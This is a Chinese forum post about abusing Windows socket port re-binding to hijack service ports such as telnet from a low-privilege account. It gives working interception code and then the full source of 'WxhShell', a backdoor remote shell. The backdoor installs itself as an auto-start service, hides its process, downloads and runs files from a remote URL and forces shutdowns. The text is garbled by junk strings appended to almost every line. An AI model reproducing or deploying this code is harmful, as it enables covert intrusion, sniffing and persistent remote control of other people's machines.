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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1==P.d(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e<&_tx   
wR`w@ 5,d  
  saddr.sin_family = AF_INET; ZP]2/;h  
77Q4gw~2U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .N'%hh  
5M/%%Ox  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g wZ+GA  
~GsH8yA_P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZdJVs/33Vn  
yHV^a0e7EH  
  这意味着什么?意味着可以进行如下的攻击: E` :ZH  
h+ `J=a|\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5x93+DkO\  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qr^Z~$i t  
A= \'r<:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *+4>iL*:  
f=-!2#%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zM3H@;}m  
;@h'Mb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 98"z0nI%  
sYW1T @  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3"2<T^H]  
n]kQtjJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fS8XuT  
_ d(Ks9  
  #include $Sc08ro  
  #include M4L~bK   
  #include #]N&6ngJ  
  #include    59"Nn\}3gE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -Ihn<<uE?  
  int main() ~7)rKHau  
  { mYsuNTx!.  
  WORD wVersionRequested; {!:|.!-u  
  DWORD ret;  P %U9S  
  WSADATA wsaData; z[$9B#P  
  BOOL val; 4q@9  
  SOCKADDR_IN saddr; Z IGbwL  
  SOCKADDR_IN scaddr; X7imUy'.  
  int err; .lNnY8<  
  SOCKET s; umHs" d  
  SOCKET sc; <7sF<KD  
  int caddsize; |{}d5Z"5;}  
  HANDLE mt; ?$`1%Y9  
  DWORD tid;   KqG$zC^N  
  wVersionRequested = MAKEWORD( 2, 2 ); ` i^`Q  
  err = WSAStartup( wVersionRequested, &wsaData ); ?()E5 4y  
  if ( err != 0 ) { *n$m;yI  
  printf("error!WSAStartup failed!\n"); z!Pdivx  
  return -1; }hObtAS  
  } (pRy1DH~  
  saddr.sin_family = AF_INET; Rzn0-cG  
   F?+Uar|-a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |tolgdj  
M7cI$=G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '6Z/-V4k  
  saddr.sin_port = htons(23); Xbsj:Ko]]U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A<*tn?M]  
  { tZc.%TU  
  printf("error!socket failed!\n"); =":V WHf  
  return -1; =."WvBKg  
  } iu:p &h  
  val = TRUE; ADwwiq#E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p1`'1`.3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gen3"\Og{  
  { 7p"~:1hU  
  printf("error!setsockopt failed!\n"); 6m;wO r  
  return -1; J?HZ,7X:  
  } +-KRp1qq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <}x|@u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MIMPJXT#.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )MX1776kU  
?-6x]l=]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O}\"$n>  
  { jW+VUF-t  
  ret=GetLastError(); }1^ tK(Am  
  printf("error!bind failed!\n"); ?6l,   
  return -1; VHXR)}  
  } $4ZDT]n  
  listen(s,2); #\!hBL @b  
  while(1) "l2N_xX;  
  { [7 Kj$PB3  
  caddsize = sizeof(scaddr); gWU(uBS  
  //接受连接请求 q_m#BE;t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WTy8N  
  if(sc!=INVALID_SOCKET) e[VJ0 A=  
  { nH3b<k;S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0 S`b;f  
  if(mt==NULL) oT5rX ,8  
  { 3Jk?)D y  
  printf("Thread Creat Failed!\n"); :N'[d e  
  break; h}VYA\+<B  
  } jJ{ w -$  
  } iTBhLg,  
  CloseHandle(mt); ^Ihdq89t  
  } @0@'6J04  
  closesocket(s); "=5vgg3  
  WSACleanup(); <xh'@592  
  return 0; =ym~= S  
  }   .qU%SmQ^  
  DWORD WINAPI ClientThread(LPVOID lpParam) Pt)}HF|u  
  { kHIQ/\3?Q  
  SOCKET ss = (SOCKET)lpParam; ]V]@Zna@g  
  SOCKET sc; (k HQKQmq  
  unsigned char buf[4096]; ]C:Ifh~  
  SOCKADDR_IN saddr; 0R!}}*Ee>q  
  long num; KL_}:O68  
  DWORD val; /n3&e  
  DWORD ret; 0o'ML""j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Jtk.v49Ad>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f`";Q/rG  
  saddr.sin_family = AF_INET; ,9j:h)ks?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =rtA{g$)+  
  saddr.sin_port = htons(23); a*wJcJTpV"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x jUH<LFxy  
  { 3b/vyZF  
  printf("error!socket failed!\n"); R8W4 4I*R:  
  return -1; l$ _+WC*wp  
  } l?<z1Acd&  
  val = 100; z{M,2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n[w,x;  
  { ZCF-*nm  
  ret = GetLastError(); W2LblZE!  
  return -1; kx#L<   
  } OU3+SYM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {zN_l!  
  { U&\{/l  
  ret = GetLastError(); qA\kx#v]P  
  return -1; q>oH(A  
  } />I8nS}T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tS\NO@E_Jh  
  { xr-`i  
  printf("error!socket connect failed!\n"); _CwQ}n*  
  closesocket(sc); %+W >+xRb  
  closesocket(ss); /F9lW}pd  
  return -1; %IXW|mi  
  } %L|bF"K5;  
  while(1) WMl^XZO  
  { /Gv$1t^a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HnY"6gTNK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^3s&90  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 } K-[/;  
  num = recv(ss,buf,4096,0); h9smviU7u  
  if(num>0) r{jD,x2  
  send(sc,buf,num,0); TK?+O}v-]!  
  else if(num==0) `-YSFQ~O,  
  break; DN{G$$or  
  num = recv(sc,buf,4096,0); x{o5Ha{  
  if(num>0) ?Pw \&q  
  send(ss,buf,num,0); +\$|L+@Z  
  else if(num==0) ,ST.pu8N.  
  break; M@@O50~  
  } oi4Wxcj  
  closesocket(ss); v23Uh2[@Yy  
  closesocket(sc); 0!\q  
  return 0 ; 7Cp_ 41._  
  } FAl6  
nL20}"$E  
O;t?@!_  
========================================================== ~"0X,APR5  
_%%"Y}  
下边附上一个代码,,WXhSHELL (>`SS#(T!  
>^HTghgRD  
========================================================== w:+#,,rwzV  
cyeDZ)  
#include "stdafx.h" ]Wm ?<7H  
8J U~Q  
#include <stdio.h> 9yAu<a  
#include <string.h> GlD'?Mk1  
#include <windows.h> eH*b -H[  
#include <winsock2.h> Hxi=\2-  
#include <winsvc.h> <s3(   
#include <urlmon.h> ,WK$jHG]  
*9 wHH-#  
#pragma comment (lib, "Ws2_32.lib") !_!b \  
#pragma comment (lib, "urlmon.lib") DN0b.*[`3  
PdBhX  
#define MAX_USER   100 // 最大客户端连接数 ID+k`nP  
#define BUF_SOCK   200 // sock buffer SnU{ZGR>sP  
#define KEY_BUFF   255 // 输入 buffer =)5a=^ 6  
Pk_{{Z(1o  
#define REBOOT     0   // 重启 n9-[z2n  
#define SHUTDOWN   1   // 关机 8QBL:7<  
S6X<3L`FfH  
#define DEF_PORT   5000 // 监听端口 7E)7sd  
X6 cb#s0|  
#define REG_LEN     16   // 注册表键长度 M3`A&*\;  
#define SVC_LEN     80   // NT服务名长度 K a|\gl;V  
^uzVz1%mM  
// 从dll定义API ;mlIWn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h!GixN?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FR"^?z?}p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^u,x~nPXg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X\RTHlw']  
vn0*KIrX  
// wxhshell配置信息 "ukbqdKD  
struct WSCFG { tYa8I/HpT  
  int ws_port;         // 监听端口 [G/X  
  char ws_passstr[REG_LEN]; // 口令 h]P$L>  
  int ws_autoins;       // 安装标记, 1=yes 0=no jXZNr  
  char ws_regname[REG_LEN]; // 注册表键名 ztpb/9J9  
  char ws_svcname[REG_LEN]; // 服务名 bnQO}G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YfKty0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `<d>C}9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^+<uHd>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N/VIP0Kb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &pz8vWCk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q4= RE  
M czWg  
}; A[bxxQSP\H  
OpQa!  
// default Wxhshell configuration )`^:G3w  
struct WSCFG wscfg={DEF_PORT, Ls{fCi/2F  
    "xuhuanlingzhe", i$bBN$<b<  
    1, LAeXe!y  
    "Wxhshell", 3>6o=7/PU  
    "Wxhshell", a{W-+t   
            "WxhShell Service", 4{KsCd)  
    "Wrsky Windows CmdShell Service", W]OT=6u8o  
    "Please Input Your Password: ", !:5n  
  1, aJ5R0Y,  
  "http://www.wrsky.com/wxhshell.exe", D~:fn|/Brp  
  "Wxhshell.exe" sh1()vT  
    }; 7@?b _  
-E7\ .K3  
// 消息定义模块 Cn<x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xo$ZPnf(zv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jo~Pr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #,56vVY  
char *msg_ws_ext="\n\rExit."; $BY{:#a]  
char *msg_ws_end="\n\rQuit."; O}Jb,?p  
char *msg_ws_boot="\n\rReboot..."; &bRH(yF  
char *msg_ws_poff="\n\rShutdown..."; KJiwM(o  
char *msg_ws_down="\n\rSave to "; YaU A}0cW  
6_Kz}PQ  
char *msg_ws_err="\n\rErr!"; q}jf&xUWzH  
char *msg_ws_ok="\n\rOK!"; bBX~ZWw  
jVz1`\Nje  
char ExeFile[MAX_PATH]; '<Gqu_-  
int nUser = 0; @j6D#./7j  
HANDLE handles[MAX_USER]; ~a$% a  
int OsIsNt; _,^sI%  
H &JKja}`  
SERVICE_STATUS       serviceStatus; i ?>"}h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?HY0@XILI  
dQ[lXV[}v  
// 函数声明 e9d~Xi16KY  
int Install(void); }W<L;yD  
int Uninstall(void); 7}Sw(g)o7  
int DownloadFile(char *sURL, SOCKET wsh); ;Yj}9[p;T  
int Boot(int flag); PewLg<?,G4  
void HideProc(void); O,cx9N  
int GetOsVer(void); ($wYaw z  
int Wxhshell(SOCKET wsl); ;IT^SHym  
void TalkWithClient(void *cs); #d~"bn q;c  
int CmdShell(SOCKET sock); o;.-I[9h]  
int StartFromService(void); r2G<::<zL  
int StartWxhshell(LPSTR lpCmdLine); Ij+zR>P8=\  
UTPl7po5D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9\8""-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CbZ1<r" /  
B:4u 2/!5  
// 数据结构和表定义 ^tv*I~>J!  
SERVICE_TABLE_ENTRY DispatchTable[] = Cv|:.y  
{ F!xK#~e   
{wscfg.ws_svcname, NTServiceMain}, ;VuIQ*@m"  
{NULL, NULL} L6a8%%`  
}; ' |Oi#S  
Z9U*SS5s,  
// 自我安装 tT7$2 9  
int Install(void) % Y @3)  
{ _5zR!|\^  
  char svExeFile[MAX_PATH];  lcr=^  
  HKEY key; _VlN Z/V  
  strcpy(svExeFile,ExeFile); 5?b9[o+ D  
a-3~HH  
// 如果是win9x系统,修改注册表设为自启动 G > ,rf ]N  
if(!OsIsNt) { R:e:B7O~0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "CaVT7L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;cO0Y.V9l  
  RegCloseKey(key); 3 !,%;Vz=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8[DD=[&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0h7\zoZ5  
  RegCloseKey(key); B0Z@ Cf  
  return 0; VYF4q9  
    } rN}^^9  
  } '~@WJKk  
} /'I/sWEV  
else { #zXDh3%]a  
{<GsM  
// 如果是NT以上系统,安装为系统服务 jk|0<-3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4uz\Me(  
if (schSCManager!=0) {5to;\.  
{ -B_dE-l,  
  SC_HANDLE schService = CreateService 4QDW}5xB  
  ( f5G17: Q  
  schSCManager, `jV0;sPd;  
  wscfg.ws_svcname, qg>i8V  
  wscfg.ws_svcdisp, lj[Bd >  
  SERVICE_ALL_ACCESS, 3oSQe"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +|}~6`  
  SERVICE_AUTO_START, &pCKz[Yf+  
  SERVICE_ERROR_NORMAL, ^WeT3b q  
  svExeFile, dWp4|r  
  NULL, nhIITfJJ  
  NULL, toQn]MT  
  NULL, o6qQ zk  
  NULL, ss[8d%V  
  NULL %PG0PH4?  
  ); i{`>!)U  
  if (schService!=0) 89L -k%R  
  { TWn7&,N  
  CloseServiceHandle(schService); tuv4~i<  
  CloseServiceHandle(schSCManager); 9u:MF0:W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DF|qNX  
  strcat(svExeFile,wscfg.ws_svcname); )ow3Bl8w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [X-Q{c4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "aP/214Ul  
  RegCloseKey(key); -Wmpj  
  return 0; P017y&X  
    } r2Q"NVw  
  } -<|E bh d3  
  CloseServiceHandle(schSCManager); vv3dr_l:  
} %TLAn[LW(  
} !0w'S>e  
D.HAp+lx  
return 1; Jus)cO#I  
} 9/nL3U@i1  
P[Qr[74 )  
// 自我卸载 9 Iw+g]`y*  
int Uninstall(void) :!3P4?a  
{ L\b$1U!i  
  HKEY key; UP,(zKTA  
7ed*dXY*  
if(!OsIsNt) { =B; )h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M HgS5b2  
  RegDeleteValue(key,wscfg.ws_regname); >`6^1j(3  
  RegCloseKey(key); g'mkhF(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lRO4- y  
  RegDeleteValue(key,wscfg.ws_regname); i G<|3I  
  RegCloseKey(key); js>6Du  
  return 0; d 5Il0sG  
  } ?"L>jr(  
} 9 /9,[A  
} Tp9LBF  
else { B[k"xs  
=P5SFMPN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z\;kjI  
if (schSCManager!=0) (V |P6C  
{ /]YK:7*98  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oVLz7Y[JE  
  if (schService!=0) 0a(*/u  
  { {xOu*8J  
  if(DeleteService(schService)!=0) { p*>[6{$3)O  
  CloseServiceHandle(schService); YGxdYwBwf  
  CloseServiceHandle(schSCManager); (+4=A k  
  return 0; ZI5UQH/  
  } U_14CLs dG  
  CloseServiceHandle(schService); atPf527\`  
  } .fZv H  
  CloseServiceHandle(schSCManager); bi,%QZZ  
} uH]^/'8vBd  
} 3Hq0\Y"Y  
n:7=z0 s  
return 1; 3lKIEPf6r  
} ~)()PO  
)hn,rmn (P  
// 从指定url下载文件 !'+t)h9^  
int DownloadFile(char *sURL, SOCKET wsh) )`g[k" yB3  
{ &*0!${ B  
  HRESULT hr; of(Nq@  
char seps[]= "/"; [TNYPA> {  
char *token; [t ^|l?  
char *file; PUa~Apj '  
char myURL[MAX_PATH]; |=7%Edkd  
char myFILE[MAX_PATH]; #'"h+[XY  
|Q7Ch]G  
strcpy(myURL,sURL); (s}9N   
  token=strtok(myURL,seps);  *A_  
  while(token!=NULL) A@`C<O ^  
  { @GGyiK@  
    file=token; ~r!jVK>^  
  token=strtok(NULL,seps); |px4a"  
  } ;1"K79  
>0512_J+  
GetCurrentDirectory(MAX_PATH,myFILE); T nPC\.x  
strcat(myFILE, "\\"); .&* Tj}p  
strcat(myFILE, file); KnbP@!+c  
  send(wsh,myFILE,strlen(myFILE),0); gg6&Fzp  
send(wsh,"...",3,0); Qy15TJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q/]tJ{FI  
  if(hr==S_OK) -"(e*&TJ#  
return 0; X5)>yM^N`  
else OY?uqP}c  
return 1; @ cv`}k  
RPLr7Lb  
} 7\jH?Zi  
J\2F%kBej?  
// 系统电源模块 654PW9{(  
int Boot(int flag) <01MXT-  
{ "ebn0<cZ  
  HANDLE hToken; F.AO  
  TOKEN_PRIVILEGES tkp; B[y1RI|9  
}P^n /  
  if(OsIsNt) { /oWB7l&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p-ry{"XA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]QpR>b=[j  
    tkp.PrivilegeCount = 1; :?lSa6de  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wlt shZo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^GL0|G=(1  
if(flag==REBOOT) { #+r-$N.7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GhQ.}@*  
  return 0; k 9s3@S  
} Xst&QKU  
else { 4CNK ]2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #He:p$43  
  return 0; \*_qP*vq@  
} sba0Q[IY  
  } VeCpz[r  
  else { heRQ|n.Dz)  
if(flag==REBOOT) { &(wik#S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Av/|={i  
  return 0; .k[Ptx>  
} ^QXUiXzl  
else { |Z!C`G[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?5Lom#^  
  return 0; vR:t4EJ`  
} q!Nwf XJM  
} qf ]ax!bK  
{'{ssCL  
return 1; g%^Zq"  
} .llAiv  
bp5hS/A^1w  
// win9x进程隐藏模块 k9Yr&8B  
void HideProc(void) Z73 ysn}  
{ ]>x674H  
1q/z&@+B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JlG yGr^MD  
  if ( hKernel != NULL ) egKYlfe"  
  { Be-gGJG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =(zk-J<nY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +>/ Q+nh  
    FreeLibrary(hKernel); ]_#[o S  
  } GVFD_;j'  
bx`(d@  
return; 40+E#z)  
} 48w3gye  
m@"!=CTKd  
// 获取操作系统版本 1eK J46W  
int GetOsVer(void) \QYs(nm?k  
{ yKq;EcVx  
  OSVERSIONINFO winfo; $^`hu%s,~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #Etz}:%W  
  GetVersionEx(&winfo); c[ =9Z;|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r`6XF  
  return 1; 8CMI\yk  
  else QULrE+@  
  return 0; 4yjAi@ /2  
} _3ZZ-=J:=*  
'L=g(  
// 客户端句柄模块 /n(0nU[  
int Wxhshell(SOCKET wsl) MQp1j:CK  
{ .'>r?%a  
  SOCKET wsh; b/WVWDyob/  
  struct sockaddr_in client; .bew,92  
  DWORD myID; &XN*T.Y`  
[NC^v.[1[  
  while(nUser<MAX_USER) \5X34'7   
{ {9Y@?  
  int nSize=sizeof(client); ]+,Z()  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5tQffo8t  
  if(wsh==INVALID_SOCKET) return 1; >e8 t  
@bS>XWI>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~H?RHYP~  
if(handles[nUser]==0) =OhhMAn  
  closesocket(wsh); gM_Z/$  
else Qb9) 1  
  nUser++; )WuuU [(  
  } g5/8u2d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R"K{@8b  
{}vW=  
  return 0; >}_c<`:  
} 4 YI,:  
|yw-H2k1  
// 关闭 socket l,pq;>c9a  
void CloseIt(SOCKET wsh) u V=rLDY  
{ 8={(Vf6  
closesocket(wsh); <K|_M)/9  
nUser--; b(K.p?bt  
ExitThread(0); 3{~h Rd  
} nL@P {,J  
hg=\L5R  
// 客户端请求句柄 _d)w, ;m#  
void TalkWithClient(void *cs) O^|,Cbon6  
{ C+O`3wPZp  
nn5S7!  
  SOCKET wsh=(SOCKET)cs; B.|2w  
  char pwd[SVC_LEN]; #S_LKc  
  char cmd[KEY_BUFF]; :P;#Y7}Y$  
char chr[1]; 21G] d  
int i,j; W:hR8 1ci  
E$*I.i_m  
  while (nUser < MAX_USER) { &<k )W  
F0]= z-  
if(wscfg.ws_passstr) { E70  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NAHQ:$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xs*~ [k'  
  //ZeroMemory(pwd,KEY_BUFF); 1*G7Uh@K}  
      i=0; T3wR0,  
  while(i<SVC_LEN) { ,tmo6D62  
I0GL/a 4s  
  // 设置超时 Eq'YtqU  
  fd_set FdRead; Y"G$^3% (]  
  struct timeval TimeOut; Koahd =  
  FD_ZERO(&FdRead); aD 24)?db-  
  FD_SET(wsh,&FdRead); H~@aT7  
  TimeOut.tv_sec=8; &UQKZ.  
  TimeOut.tv_usec=0; Pbd#Fu;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $Iv*?S"2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Iu%/~FgPj{  
ApjLY58=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X!nI{PE  
  pwd=chr[0]; [Zi\L>PHO  
  if(chr[0]==0xd || chr[0]==0xa) { vqv(KsD+::  
  pwd=0; >PL/>   
  break; `hI1  
  } st'Y j  
  i++; ZVgR7+`]#  
    } 5as';1^P&*  
HwM:bY N  
  // 如果是非法用户,关闭 socket >/ HC{.k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (f $Y0;v>}  
} L.ndLd  
Br1JZHgA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F_\\n#bv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tgc&DT; E  
7s>d/F3*  
while(1) { sW|u}8`  
(Q#ArMMORI  
  ZeroMemory(cmd,KEY_BUFF); vWjK[5 M%  
bbA+ZLZJn  
      // 自动支持客户端 telnet标准   _ 4Hf?m7z  
  j=0; S3btx9y{  
  while(j<KEY_BUFF) { LP#CA^*S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8t0i j  
  cmd[j]=chr[0]; rS)7D  
  if(chr[0]==0xa || chr[0]==0xd) { w.^k':,"  
  cmd[j]=0; z&cfFx#h)  
  break; r3p fG  
  } >Py;6K  
  j++; I`DdhMi7  
    } +- c#UO>  
qt/"$6]%  
  // 下载文件 <$,i Yx   
  if(strstr(cmd,"http://")) { 8t9sdqM/C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \`|,wLgH  
  if(DownloadFile(cmd,wsh)) &hjrJ/'^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~sMn/T*fv  
  else VO. Y\8/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ya304Pjd  
  } DCP "  
  else { (J$JIPF  
QBai;p{  
    switch(cmd[0]) { .:l78>f  
  .Uha%~%  
  // 帮助 aH,0+|  
  case '?': { lt5~rH2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ag[yM  
    break; khc5h^0  
  } x\I9J4Q  
  // 安装 h, +2Mc<  
  case 'i': { mY dU`j  
    if(Install()) ]+d.X]   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Q2K0'm5  
    else ?HZ+fS ,-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :%!=Ej.J  
    break; 1B,RRHXn6  
    } Kd7OnU  
  // 卸载 Ca?pK_Y  
  case 'r': { AO>K 6{  
    if(Uninstall()) C0KP,JS&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *kZJ  
    else ikyvst>O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * RN*Bh|$  
    break; XW5r@:e  
    } k. px  
  // 显示 wxhshell 所在路径 }SUe 4r&4}  
  case 'p': { wyvs#T  
    char svExeFile[MAX_PATH]; 6i=m1Yk  
    strcpy(svExeFile,"\n\r"); ?%*Zgk!l7  
      strcat(svExeFile,ExeFile); +!.=M8[  
        send(wsh,svExeFile,strlen(svExeFile),0); "4n_MV>p  
    break; kw}J~f2  
    } dwB-WF%k  
  // 重启 ,B!u*  
  case 'b': { GMB%A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CQ#p2  
    if(Boot(REBOOT)) IBnJ6(.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wR>\5z )^  
    else { b`18y cVME  
    closesocket(wsh); HO & #Lv  
    ExitThread(0); xxiEL2"`>  
    } 8~}Ti*Urc  
    break; \T<?=A  
    } oNl_r:G  
  // 关机 1 9;\:tN  
  case 'd': { b .j\=c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4*F+-fu  
    if(Boot(SHUTDOWN)) \u",bMQF  
